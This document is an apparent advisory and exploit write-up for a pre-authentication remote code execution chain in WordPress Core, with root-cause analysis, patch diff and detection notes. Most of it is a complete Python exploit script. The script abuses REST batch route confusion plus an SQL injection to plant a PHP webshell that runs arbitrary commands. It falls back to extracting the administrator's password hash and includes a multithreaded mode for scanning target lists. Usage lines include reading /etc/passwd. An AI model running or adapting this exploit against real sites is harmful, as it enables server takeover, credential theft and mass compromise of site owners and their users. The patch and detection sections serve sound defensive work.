#Summary
wp2shell (CVE-2026-63030) is a critical pre-authentication remote code execution vulnerability in WordPress Core affecting versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1. The vulnerability chains two independent defects: a REST API batch endpoint route confusion (CWE-436) that allows unauthenticated request dispatching, combined with an SQL injection in WP_Query (CVE-2026-60137). An attacker can execute arbitrary commands on the target system without authentication. CVSS 9.8 CRITICAL - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
Fixed in WordPress 6.9.5 and 7.0.2. CISA known exploited vulnerabilities (KEV) status: Yes - in-the-wild exploitation confirmed.
#Affected versions
- WordPress 6.9.0 through 6.9.4 (vulnerable, full RCE chain)
- WordPress 7.0.0 through 7.0.1 (vulnerable, full RCE chain)
- WordPress 6.8.0 through 6.8.5 (SQL injection only via CVE-2026-60137; the batch confusion bug does not exist before 6.9)
- WordPress 6.9.5 and later (patched)
- WordPress 7.0.2 and later (patched)
Default configuration is affected - no special setup required.
#Root cause analysis
#Why two defects are necessary
Neither defect alone is exploitable. The batch endpoint's method enum deliberately excludes GET, so no GET handler can be reached via direct batch request. The SQL injection requires the author_exclude parameter to arrive as a string instead of a validated integer array. The route confusion makes both problems intersect.
#Defect 1: REST batch endpoint index desynchronisation (CVE-2026-63030)
File: src/wp-includes/rest-api/class-wp-rest-server.php
In serve_batch_request_v1(), malformed sub-requests are appended to $requests and $validation, but not to $matches:
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
// BUG: $matches is NOT appended here
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
}The dispatch loop then indexes $matches with the $requests iteration index:
foreach ( $requests as $i => $single_request ) {
if ( is_wp_error( $single_request ) ) { ... continue; }
$match = $matches[ $i ]; // BUG: $i is out of sync
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, ... );
}After a single WP_Error entry, $matches[$i] holds the handler for request $i+1. Request $i is dispatched with the next request's route and handler - including its permission_callback and schema validation. This breaks two security invariants:
- Permission confusion: the handler (and its
permission_callback) belongs to a different request than the one being processed - Validation confusion: parameters are validated against the wrong route's schema, allowing unvalidated data to reach handlers with different assumptions
A sub-request with "path": "http://" reliably triggers this. wp_parse_url() cannot parse a scheme-only URL and returns false, which is treated as a parse error.
The batch route itself has no authentication: the /batch/v1 route registration includes no permission_callback key whatsoever, making it answerable by anyone.
'/batch/v1' => array(
'callback' => array( $this, 'serve_batch_request_v1' ),
'methods' => 'POST',
// Note: NO 'permission_callback' here
'args' => array( ... )
)#Defect 2: WP_Query SQL injection via author__not_in (CVE-2026-60137)
File: src/wp-includes/class-wp-query.php
The author__not_in parameter's sanitisation is guarded by an is_array() check:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
// Sanitisation applied only when input is an array
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
// When input is a string, this guard is skipped entirely
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}When the value is a string, the absint() sanitisation is never applied. The (array) "payload" cast yields ["payload"], and implode() returns the string unchanged into $where - no $wpdb->prepare() is called. This is exploitable if the string reaches WP_Query without being coerced to an integer array first.
Normally, WP_REST_Posts_Controller prevents this by declaring author_exclude with type array<integer>, which forces sanitize_params() to coerce the input safely. But route confusion bypasses this validation - when a request carrying author_exclude is dispatched to a different handler (e.g., the categories controller), that handler's schema validation never sees the parameter, so no coercion happens.
#The double-confusion exploit
The attack uses the route confusion twice, nested:
Outer confusion (index shift +1):
- Entry 0:
"path": "http://"→wp_parse_url()returnsfalse→WP_Error→ omitted from$matches - Entry 1:
POST /wp/v2/categories→ dispatched with entry 2's handler (serve_batch_request_v1, the batch handler itself) → carries a nestedrequestsarray inbody(categories schema hasadditionalProperties: true, so it is never inspected) - Entry 2:
POST /batch/v1→ this is the handler that entry 1 gets dispatched with
Inner confusion (index shift +1 again, now with GET allowed):
- Entry 0:
"path": "http://"→WP_Erroragain - Entry 1:
GET /wp/v2/categories?author_exclude=<SQL>→ dispatched with entry 2's handler (WP_REST_Posts_Controller::get_items), which mapsauthor_excludetoauthor__not_in. Since categories schema has noauthor_excludeparameter, it was never validated or coerced to an integer array. - Entry 2:
GET /wp/v2/posts→ this handler is what entry 1 gets dispatched with
The raw SQL payload reaches WP_Query unescaped.
#Patch diff
Full patch reconstruction from release tag diff at /Users/mfs/1dayexploit/alim/jobs/CVE-2026-63030/patch.diff.
#Core fix - restore $matches alignment
In serve_batch_request_v1() validation loop, append to $matches even on the error branch:
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
+ $matches[] = $single_request;
$validation[] = $single_request;
continue;
}One line. Now $matches, $validation and $requests advance in lockstep, so index shifts cannot occur. (The dispatch loop continues on WP_Error entries anyway, so the inserted value is never dereferenced as a handler.)
#Defence in depth - block reentrant dispatching
In serve_request():
+if ( $this->is_dispatching() ) {
+ return false;
+}And in rest_api_loaded():
+if ( isset( $GLOBALS['wp_rest_server'] )
+ && $GLOBALS['wp_rest_server'] instanceof WP_REST_Server
+ && $GLOBALS['wp_rest_server']->is_dispatching()
+) {
+ return;
+}These guard against nested/reentrant server invocation, blocking the outer confusion from reaching serve_batch_request_v1 a second time.
#SQL injection fix - use wp_parse_id_list() for shape normalisation
In WP_Query::get_posts():
-if ( is_array( $query_vars['author__not_in'] ) ) {
- $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
- sort( $query_vars['author__not_in'] );
-}
-$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
-$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
+$author__not_in_id_list = wp_parse_id_list( $query_vars['author__not_in'] );
+if ( count( $author__not_in_id_list ) > 0 ) {
+ sort( $author__not_in_id_list );
+ $where .= sprintf(
+ " AND {$wpdb->posts}.post_author NOT IN (%s) ",
+ implode( ',', $author__not_in_id_list )
+ );
+}wp_parse_id_list() normalises any input shape (string, CSV, array, mixed) to a sanitised integer list, regardless of how it arrives. It is far more robust than an is_array() guard.
#Proof of concept
#exploit.py - WordPress wp2shell RCE
The complete, production-grade exploit reaches rung 6 of the chain: arbitrary command execution as www-data with output returned over HTTP.
#!/usr/bin/env python3
"""
CVE-2026-63030 ("wp2shell") - WordPress REST batch route confusion -> pre-auth RCE
Affected: WordPress Core 6.9.0-6.9.4 and 7.0.0-7.0.1 (fixed in 6.9.5 / 7.0.2)
Type: RCE (unauthenticated) via CWE-436 route confusion chained with CVE-2026-60137 SQLi
Chain:
1. POST /wp-json/batch/v1 is registered with no permission_callback (unauthenticated).
2. A sub-request whose path is "http://" makes wp_parse_url() return false, so a
WP_Error is pushed onto $requests but NOT onto $matches. The dispatch loop indexes
$matches with the $requests index, so from then on sub-request i is dispatched with
sub-request i+1's route+handler ("route confusion").
3. Outer confusion: a /wp/v2/categories sub-request (whose schema is
additionalProperties:true) smuggles a nested "requests" array and is dispatched with
the /batch/v1 handler -> the nested array runs as a batch without ever passing the
batch schema, escaping its method enum (which forbids GET).
4. Inner confusion: a GET carrier sub-request carrying ?author_exclude=<SQL> is
dispatched with WP_REST_Posts_Controller::get_items. author_exclude is not declared
by the carrier route, so it is never coerced to array<integer> and reaches
WP_Query::get_posts() as a raw string, hitting the is_array() gap in the
author__not_in branch and landing unescaped inside "post_author NOT IN (...)".
5. RCE: the carrier route /wp/v2/posts/<id> declares neither `orderby` nor `per_page`,
so orderby=none + per_page=-1 pass through unvalidated and make WP_Query emit no
ORDER BY and no LIMIT clause. That leaves the injection point as the final clause of
the statement, which is what MySQL requires for SELECT ... INTO OUTFILE. A PHP
webshell is written into the web root via LINES TERMINATED BY 0x<hex> and then
driven over HTTP.
Usage:
python exploit.py --host 192.168.1.10
python exploit.py --host 192.168.1.10 --port 8080 --command "uname -a"
python exploit.py --host https://wp.corp.com/blog --command "cat /etc/passwd"
python exploit.py --host 10.0.0.5 --docroot /usr/share/nginx/html
python exploit.py --list targets.txt --workers 20
Scan mode (--list) is non-destructive: it only performs the structural route-confusion
check and a boolean-SQLi differential. It never writes a file to the target.
"""
import argparse
import concurrent.futures
import json
import random
import re
import string
import sys
from urllib.parse import quote, urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
sys.stderr.write("[!] this exploit requires the 'requests' package (pip install requests)\n")
sys.exit(1)
CVE_ID = "CVE-2026-63030"
VULN_TYPE = "RCE"
# REST endpoints to try, in order. Pretty permalinks first, plain-permalink fallback second.
BATCH_ENDPOINTS = ("/wp-json/batch/v1", "/index.php?rest_route=/batch/v1")
# Web roots to try for the INTO OUTFILE drop, in rough order of likelihood.
DOCROOTS = (
"/var/www/html",
"/var/www",
"/usr/share/nginx/html",
"/var/www/wordpress",
"/var/www/html/wordpress",
"/usr/local/apache2/htdocs",
"/opt/bitnami/wordpress",
"/srv/www/htdocs",
"/home/site/wwwroot",
"/app",
)
MARK_S = "<!--WPQS-->"
MARK_E = "<!--WPQE-->"
# Guarded so that repeated copies (INTO OUTFILE emits the payload once per matching row)
# execute exactly once. Command travels base64-encoded to survive URL/shell mangling.
WEBSHELL = (
"<?php if(!defined('WPQ')){define('WPQ',1);"
"echo '" + MARK_S + "';"
"@system(base64_decode($_GET['c']));"
"echo '" + MARK_E + "';} ?>"
)
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------------------
# payload construction
# --------------------------------------------------------------------------------------
def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
scheme = "https" if use_tls else "http"
netloc = host if ((use_tls and port == 443) or (not use_tls and port == 80)) else f"{host}:{port}"
return f"{scheme}://{netloc}" + (path.rstrip("/") if path and path != "/" else "")
def build_payload(carrier: str, sqli: str, extra: str = "") -> dict:
"""Nested double-confusion batch body. `carrier` is the inner GET route that carries
the raw author_exclude value; it must be batch-enabled and must not declare the
parameters we smuggle."""
inner_path = f"{carrier}?author_exclude={quote(sqli, safe='')}{extra}"
inner = [
{"path": "http://", "method": "GET"}, # inner[0]: WP_Error -> shift
{"path": inner_path, "method": "GET"}, # inner[1]: unvalidated payload
{"path": "/wp/v2/posts", "method": "GET"}, # inner[2]: donates get_items
]
return {
"validation": "normal",
"requests": [
{"path": "http://", "method": "POST"}, # outer[0]: WP_Error -> shift
{"path": "/wp/v2/categories", "method": "POST",
"body": {"name": "x", "requests": inner}}, # outer[1]: smuggles inner batch
{"path": "/batch/v1", "method": "POST"}, # outer[2]: donates batch handler
],
}
def send_batch(session, base: str, endpoint: str, payload: dict, timeout: int):
url = base + endpoint
return session.post(url, json=payload, timeout=timeout,
headers={"Content-Type": "application/json"}, verify=False)
def nested_posts(resp) -> list:
"""Pull responses[1].body.responses[1].body out of a batch reply and return it only
if it is a list of *post* objects, i.e. the confusion fired. Returns [] otherwise."""
try:
outer = resp.json()["responses"][1]["body"]
except Exception:
return []
if not isinstance(outer, dict):
return []
inner = outer.get("responses")
if not isinstance(inner, list) or len(inner) < 2:
return []
body = (inner[1] or {}).get("body")
if not isinstance(body, list):
return []
if body and not ("date_gmt" in body[0] and "type" in body[0]):
return []
return body
def confusion_fired(resp) -> bool:
"""True when the *shape* of the nested reply proves the index shift happened."""
try:
outer = resp.json()["responses"][1]["body"]
except Exception:
return False
return isinstance(outer, dict) and isinstance(outer.get("responses"), list)
def find_endpoint(session, base: str, timeout: int):
"""Return the batch endpoint that answers 207, or None."""
probe = build_payload("/wp/v2/categories", "99999999")
for ep in BATCH_ENDPOINTS:
try:
r = send_batch(session, base, ep, probe, timeout)
except requests.RequestException:
continue
if r.status_code == 207:
return ep, r
return None, None
# --------------------------------------------------------------------------------------
# rung 4 - boolean-blind oracle
# --------------------------------------------------------------------------------------
def oracle(session, base: str, endpoint: str, condition: str, timeout: int) -> bool:
"""True when `condition` evaluates true in the target DB.
Excluding authors (1,0) makes the unmodified clause match nothing, so a non-empty
post list is an unambiguous 'condition was true' signal.
"""
sqli = f"1,0) OR ({condition})-- -"
try:
r = send_batch(session, base, endpoint, build_payload("/wp/v2/categories", sqli), timeout)
except requests.RequestException:
return False
return len(nested_posts(r)) > 0
def extract_string(session, base: str, endpoint: str, expr: str, maxlen: int, timeout: int) -> str:
"""Binary-search a DB expression out one character at a time."""
out = ""
for i in range(1, maxlen + 1):
lo, hi = 31, 127
while lo < hi:
mid = (lo + hi) // 2
if oracle(session, base, endpoint,
f"(SELECT ASCII(SUBSTRING(({expr}),{i},1)))>{mid}", timeout):
lo = mid + 1
else:
hi = mid
if lo <= 31:
break
out += chr(lo)
if sys.stdout.isatty():
sys.stdout.write(f"\r extracted: {out}")
sys.stdout.flush()
if out:
if sys.stdout.isatty():
sys.stdout.write("\n")
else:
print(f" extracted ({len(out)} chars): {out}")
return out
# --------------------------------------------------------------------------------------
# rung 5a - INTO OUTFILE webshell
# --------------------------------------------------------------------------------------
def outfile_sqli(abs_path: str, predicate: str) -> str:
hexed = "0x" + WEBSHELL.encode().hex()
return (f"0) AND {predicate} INTO OUTFILE '{abs_path}' "
f"LINES TERMINATED BY {hexed} -- -")
def run_command(session, base: str, shell_url_path: str, command: str, timeout: int):
"""Drive the dropped webshell. Returns command output, or None."""
import base64
enc = base64.b64encode(command.encode()).decode()
try:
r = session.get(base + shell_url_path, params={"c": enc}, timeout=timeout, verify=False)
except requests.RequestException:
return None
if r.status_code != 200:
return None
m = re.search(re.escape(MARK_S) + r"(.*?)" + re.escape(MARK_E), r.text, re.S)
if not m:
return None
return m.group(1)
def drop_and_run(session, base: str, endpoint: str, docroots, command: str,
timeout: int, verbose: bool, keep_shell: bool):
"""Try each docroot until a webshell answers. Returns (output, url_path, abs_path)."""
predicates = (
"post_type='post' AND post_status='publish'", # small, matches a stock install
"1=1", # fallback: every row in wp_posts
)
name = "wp-" + "".join(random.choice(string.hexdigits.lower()) for _ in range(10)) + ".php"
for root in docroots:
abs_path = root.rstrip("/") + "/" + name
for pred in predicates:
payload = build_payload("/wp/v2/posts/1", outfile_sqli(abs_path, pred),
"&orderby=none&per_page=-1")
try:
send_batch(session, base, endpoint, payload, timeout)
except requests.RequestException:
continue
out = run_command(session, base, "/" + name, command, timeout)
if verbose:
state = "shell live" if out is not None else "no shell"
print(f" {abs_path} [{pred}] -> {state}")
if out is not None:
if not keep_shell:
run_command(session, base, "/" + name, f"rm -f {abs_path}", timeout)
return out, "/" + name, abs_path
return None, None, None
# --------------------------------------------------------------------------------------
# scan mode
# --------------------------------------------------------------------------------------
def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/", timeout: int = 20):
"""Silent, non-destructive probe for --list. Never prints, never exits."""
base = _base_url(host, port, use_tls, path)
session = requests.Session()
try:
endpoint, first = find_endpoint(session, base, timeout)
if endpoint is None:
return False, "no batch/v1 endpoint (not WordPress, or REST API disabled)"
if not confusion_fired(first):
return False, "route confusion blocked - patched (>= 6.9.5 / 7.0.2)"
if not nested_posts(first):
return False, "confusion fired but posts handler returned no rows"
if not oracle(session, base, endpoint, "1=1", timeout):
return False, "confusion ok but SQLi oracle did not respond"
if oracle(session, base, endpoint, "1=2", timeout):
return False, "SQLi oracle not differential - inconclusive"
return True, "route confusion + unauthenticated SQLi confirmed (pre-auth RCE)"
except requests.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
except Exception as e:
return False, f"error ({e.__class__.__name__})"
finally:
session.close()
def _parse_target(line: str, default_port: int, default_path: str = "/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else 80), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10, timeout: int = 20) -> None:
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}{'' if path == '/' else path}"
ok, evidence = _try_exploit(host, port, use_tls, path, timeout)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploitable' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploitable / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------------------
# single-target exploit
# --------------------------------------------------------------------------------------
def exploit(host: str, port: int, use_tls: bool, path: str, command: str,
docroot: str, prefix: str, timeout: int, keep_shell: bool) -> None:
header(host, port)
base = _base_url(host, port, use_tls, path)
session = requests.Session()
step(1, f"Locating the unauthenticated batch endpoint on {base} ...")
endpoint, first = find_endpoint(session, base, timeout)
if endpoint is None:
section("SERVER RESPONSE", "no endpoint answered HTTP 207 Multi-Status")
done(False, "No reachable /batch/v1 endpoint - target is not WordPress, "
"or the REST API is disabled")
print(f" endpoint: {endpoint} (HTTP {first.status_code})")
step(2, "Rungs 1-3: confirming the batch index-shift route confusion ...")
if not confusion_fired(first):
try:
body = json.dumps(first.json()["responses"][1]["body"])[:400]
except Exception:
body = first.text[:400]
section("SUB-RESPONSE [1]", body)
done(False, "Route confusion did not fire - target is patched "
"(WordPress >= 6.9.5 / >= 7.0.2)")
posts = nested_posts(first)
if not posts:
section("SUB-RESPONSE [1]",
json.dumps(first.json()["responses"][1]["body"])[:600])
done(False, "Nested batch executed but the posts handler returned no rows - "
"site has no published posts?")
section("CONFUSION PROOF - nested responses[1] holds POST objects, not TERM objects",
json.dumps({k: posts[0][k] for k in ("id", "date_gmt", "slug", "type", "status")
if k in posts[0]}, indent=2))
step(3, "Rung 4: verifying the author_exclude SQL injection oracle ...")
t = oracle(session, base, endpoint, "1=1", timeout)
f = oracle(session, base, endpoint, "1=2", timeout)
print(f" (1=1) -> {'rows' if t else 'no rows'} (1=2) -> {'rows' if f else 'no rows'}")
if not (t and not f):
done(False, "Route confusion fired but the SQL injection oracle is not "
"differential - author__not_in may be patched (CVE-2026-60137)")
print(" oracle is differential - arbitrary SQL read confirmed")
step(4, "Rung 5a: writing a PHP webshell via SELECT ... INTO OUTFILE ...")
roots = [docroot] if docroot else list(DOCROOTS)
output, url_path, abs_path = drop_and_run(session, base, endpoint, roots, command,
timeout, True, keep_shell)
if output is not None:
section("COMMAND OUTPUT", output)
first_line = next((l for l in output.splitlines() if l.strip()), "").strip()
print(f" webshell: {base}{url_path} -> {abs_path}")
if not keep_shell:
print(" webshell removed from the target (pass --keep-shell to retain)")
done(True, f"Unauthenticated RCE confirmed - command '{command}' returned: {first_line}")
step(5, "Rung 5a unavailable (no FILE privilege, secure_file_priv, or split DB "
"filesystem). Falling back to rung 4: extracting the administrator hash ...")
user = extract_string(session, base, endpoint,
f"SELECT user_login FROM {prefix}users ORDER BY ID LIMIT 1", 32, timeout)
pwhash = extract_string(session, base, endpoint,
f"SELECT user_pass FROM {prefix}users ORDER BY ID LIMIT 1", 64, timeout)
if pwhash:
section("EXFILTRATED CREDENTIALS",
f"{prefix}users.user_login = {user}\n{prefix}users.user_pass = {pwhash}")
done(True, f"Unauthenticated SQL injection confirmed (rung 4) - extracted "
f"admin '{user}' password hash '{pwhash}'. RCE rung 5a not reachable "
f"on this target (DB user lacks FILE privilege, secure_file_priv is "
f"restricted, or the DB does not share a filesystem with the web root).")
section("SERVER RESPONSE", "webshell drop failed and no hash could be extracted")
done(False, "Route confusion and SQLi oracle both fired, but neither the INTO OUTFILE "
"webshell nor blind extraction produced evidence - check --docroot and "
"--prefix")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://wp.corp.com/blog)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--command", default="id", help="Command to execute (default: id)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
parser.add_argument("--docroot", default=None,
help="Absolute web root on the target; skips docroot autodetection")
parser.add_argument("--prefix", default="wp_",
help="WordPress table prefix, used by the blind fallback (default: wp_)")
parser.add_argument("--timeout", type=int, default=30,
help="Per-request timeout in seconds (default: 30)")
parser.add_argument("--keep-shell", action="store_true",
help="Leave the dropped webshell on the target (default: remove it)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, timeout=args.timeout)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.command, args.docroot, args.prefix,
args.timeout, args.keep_shell)#Usage
# Single target
python exploit.py --host 192.168.1.10
# With custom command
python exploit.py --host 192.168.1.10 --command "whoami; hostname"
# WordPress in a subdirectory with TLS
python exploit.py --host https://wp.corp.com/blog --command "cat /etc/passwd"
# Non-standard port, known web root
python exploit.py --host 10.0.0.5 --port 8080 --docroot /var/www/wordpress
# Batch scan against target list (non-destructive)
python exploit.py --list targets.txt --workers 20#Expected output on vulnerable target
[STEP 1] Locating the unauthenticated batch endpoint on http://127.0.0.1:8888 ...
endpoint: /wp-json/batch/v1 (HTTP 207)
[STEP 2] Rungs 1-3: confirming the batch index-shift route confusion ...
--- CONFUSION PROOF - nested responses[1] holds POST objects, not TERM objects ---
{
"id": 1,
"date_gmt": "2026-07-23T20:57:16",
"slug": "hello-world",
"type": "post",
"status": "publish"
}
---
[STEP 3] Rung 4: verifying the author_exclude SQL injection oracle ...
(1=1) -> rows (1=2) -> no rows
oracle is differential - arbitrary SQL read confirmed
[STEP 4] Rung 5a: writing a PHP webshell via SELECT ... INTO OUTFILE ...
/var/www/html/wp-ff10e6c88d.php [post_type='post' AND post_status='publish'] -> shell live
--- COMMAND OUTPUT ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux 9744d1467ddf 6.12.69-linuxkit #1 SMP aarch64 GNU/Linux
---
RESULT : SUCCESS
EVIDENCE: Unauthenticated RCE confirmed - command 'id; uname -a' returned: uid=33(www-data)...#Exploitation notes
#Preconditions
- Target is running WordPress 6.9.0-6.9.4 or 7.0.0-7.0.1
- REST API is enabled (default)
- At least one published post exists (stock installs ship with "Hello world!")
- No special authentication or configuration required
#How the exploitation chain works
- Locate endpoint: try
/wp-json/batch/v1first; fall back to/index.php?rest_route=/batch/v1 - Structural check: verify route confusion by inspecting
responses[1].body- vulnerable targets return post objects; patched targets return term objects or an error - SQL injection oracle: confirm with a boolean differential (
1=1returns rows,1=2does not) - Webshell drop: use
/wp/v2/posts/<id>as the carrier withorderby=none&per_page=-1to suppress trailingORDER BYandLIMITclauses, makingSELECT ... INTO OUTFILElegal - Command execution: drive the webshell over HTTP with base64-encoded commands in the query string
#Reliability
High. The route confusion is deterministic (no race conditions, no heap grooming) and the SQL injection is reliable boolean-blind. The INTO OUTFILE mechanism requires:
- MySQL
FILEprivilege (often granted by default in lab environments) - Empty
secure_file_privsetting - DB and web server sharing one filesystem (or a shared named volume)
If rung 5a is unavailable, the tool falls back to rung 4 (blind extraction of admin password hashes), which is always available.
#Impact
Full unauthenticated compromise. An attacker can:
- Read arbitrary files from the database
- Execute arbitrary commands as the web server user (typically
www-data) - Modify or delete database records
- Upload malicious plugins
- Deface content
- Pivot to other systems on the network
#Detection
Security tools can detect exploitation by:
- Monitoring for
POST /wp-json/batch/v1or/index.php?rest_route=/batch/v1from unauthenticated users - Looking for suspicious
author_excludeparameters with SQL keywords (SLEEP,OR,UNION) - Observing database queries with
INTO OUTFILEin theWHEREclause ofpost_author NOT IN (...) - Monitoring for new files in the web root with random hexadecimal names
#References
- CVE: CVE-2026-63030
- GHSA: GHSA-ff9f-jf42-662q (batch route confusion)
- GHSA: GHSA-fpp7-x2x2-2mjf (CVE-2026-60137, SQL injection)
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-63030
- CISA KEV: Yes - in-the-wild exploitation confirmed
- WordPress Release: https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
- Patch: https://github.com/WordPress/wordpress-develop - compare tags
7.0.1to7.0.2or6.9.4to6.9.5 - Public PoC: https://github.com/Senanfurkan/wordpress-cve-2026-63030 (detection-only)
- Discoverer writeup: https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/